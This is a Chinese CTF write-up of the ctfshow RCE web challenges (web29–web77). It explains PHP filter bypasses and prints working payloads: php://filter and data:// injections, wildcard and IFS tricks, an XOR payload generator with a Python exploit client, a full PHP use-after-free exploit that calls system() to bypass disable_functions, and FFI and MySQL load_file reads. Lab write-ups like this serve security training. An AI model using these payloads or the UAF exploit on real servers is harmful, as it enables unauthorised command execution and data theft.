ctfshow--rce
ctfshow-->rce
web29
过滤flag
f*绕过
web30
过滤flag+system+php
passthru绕过
系统命令函数system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()【其实系统命令函数有这么多,但是不清楚为什么只有passthru可以用】
web31
过滤了cat sort \. 和 空格
其中除了head(因为flag在最后一行),vim, file-f ,sh /flag... 不能使用剩余都可以
再说空格 可以用%09 ${IFS} $IFS$9 绕过
还可以使用<(%和{}被过滤时使用)
但是这里好像只有%09可以
web32
过滤完辣,没关系 文件包含会出手
?c=include$_GET[1]?%3E&1=php://filter/read=convert.base64-encode/resource=flag.php
web33
又加了‘和(的过滤嘛
没关系文件包含继续出手
?c=include$_GET[1]?%3E&1=php://filter/read=convert.base64-encode/resource=flag.php
web34-web35
过滤:和<=
我的评价是文件包含继续出手
web36
ban数字
那我把1改成a就可以了 文件包含仍然可以出手
?c=include$_GET[a]?%3E&a=php://filter/read=convert.base64-encode/resource=flag.php
web37-39
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
base64解码后:
(<?php system("tac flag.php");?>)
web40
无参数RCE题目特征:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
eval($_GET['star']);
}
简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。
常见解法
c=readfile(array_rand(array_flip(scandir(current(localeconv())))));
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
?c=session_start();system(session_id());
readfile(session_id(session_start()));(已知文件名时可以尝试)
session方法不常用,不能解析空格
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));//随机读取一个根目录文件
web41
无数字字母rce之异或解法
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符,保存放在小皮面板根目录下,命名rce_or.php(后面会用到)
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
保存为exp.py
运行命令 python exp.py url
然后就可以一把梭了
php环境变量配置
https://blog.csdn.net/niuren3212/article/details/134865955
web42
>/dev/null 2>&1
2>/dev/null
意思就是把错误输出到“黑洞”
>/dev/null 2>&1
默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”
绕过方法:双写绕过
payload:cat flag.php;ls
web43
在web42上加了过滤 ;
绕过就行了
用|| 或者%0a
过滤cat看web31
web44-51
web52
这题有点意思
假flag
那就看根目录
web53
呃没啥可讲的,正常get
web54
绕过了很多东西
通配符也被绕过
但是
留下了?这个通配符
uniq绕过cat
/bin/?at${IFS}f???????
cat命令所在的路径是在/bin/目录下,所以这里相当于直接调用了cat文件执行命令,这里的cat可以看作命令,也是一个文件,所以通配符可以用在这上面
同理bin目录下还存在more,所以这里的cat我们换成more也可以读取flag
https://www.cnblogs.com/cuiqi1314/articles/7339776.html这里有bin目录下的名令,但是能用到的话只有下面这些
env: 显示环境变量
ls: 显示目录和文件
pwd: 查看当前所在路径
cat: 连接或显示文件
more: 显示文件内容
base64:base64编码
web55
无字母数字rce
?可代替一个字符
所以调用base64编码函数就是/???/????64 ????.???
对应/bin/base64 flag.php
看到Zmxh就知道稳啦
利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载
c=/???/???/????2 ????.??? 对应/usr/bin/bzip2 flag.php
这时已将 flag.php 压缩为 flag.php.bz2。直接通过 url 访问下载
复制下列代码保存到upload.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://eccee75f-d9d7-42c0-afab-7db364058529.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
随意上传,然后抓包
按照下列格式改包
原理上传php文件会生成临时文件/tmp/phpaaaaaA(a表示小写字母,A表示大写字母)
.是执行 +是空格(url编码后+是空格)
所以/???/????????匹配的是临时文件 至于[@-[]是为了匹配大写字母,ascii码表中大写字母位于@和[之间
#!/bin/sh是getshell(相信pwn手最懂了)
然后再下一行写命令就可以了(ls cat)
发送一次请求木有回显就多发送俩次因为通配符毕竟是模糊匹配有可能匹配其他的文件
web56
跟web55一样
web57
这题有点意思
考察
数字取反绕过
c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
Linux Shell 中 $(()) 的用法
简单来说,$(()) 用来做数学运算。且 $(()) 的值为 0。
~ 在 $(()) 中代表按位取反,即 $((~$(()))) 就是 0 取反,即 -1
$(($((~$(())))$((~$(()))))) 也就是 $((-1-1)) 为 -2
本题是36,若遇到其他题目增删即可
web58
这题也有点意思
一些函数被禁用了
但是有可能出现下面这种情况,请注意这是语法错误,是因为后面没加分号
解决方案:
print_r(scandir('.'))
var_dump(scandir('.'))
print_r(glob('/*'))
var_export(glob('*'))
highlight_file()
file_get_contents()
show_source() #highlight_file()的别名
readfile()
include('/flag.txt');
c=include "php://filter/read=convert.base64-encode/resource=/flag.txt";
web59-web70
根据web58的payload通杀,但是需要注意web66,web77的flag在根目录下
web71
ob_get_contents():得到缓冲区的内容(数据)。
ob_end_clean():会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
preg_replace("/[0-9]|[a-z]/i","?",$s):把存放缓冲区内容的变量$s的内容都替换为问号。用之前payload发现输出的一大堆问号,就是因为这句话。
解决方法:
c=include("/flag.txt");$ss=ob_get_contents();ob_end_clean();echo $ss;
c=include('/flag.txt');var_export(get_defined_vars());exit();
c=include('/flag.txt');var_export(get_defined_vars());die();
import requests
url = "http://bc6c7090-0baf-4a98-8352-1e6518d63ebb.challenge.ctf.show/"
d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content
for i in s:
print(chr(~i&0xff), end='')
web72
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit();
c=?><?php
pwn("ls /;cat /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
第二个脚本直接把命令写pwn里就可以了
(pwn嘛,挺奇怪的,web用pwn脚本)
web73-web74
这题用上题payload打会报错显示strlen被禁用,可以重新定义strlen函数,但是比较麻烦,其实web59-70的payload就可以打通
web75-web76
这题有点意思,需要获取数据库名运用mysql连接读取flag
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();
记得url编码在传值(burpsuite的话不用url编码)
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select load_file('/flag36.txt')");//改这里的命令
foreach($rs as $row){
echo($row[0])."|";
}exit();
web77
这题用c语言中的ffi外部函数接口
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//修改这里执行命令
$ffi->system($a);//通过$ffi去调用system函数
然后直接路径访问1.txt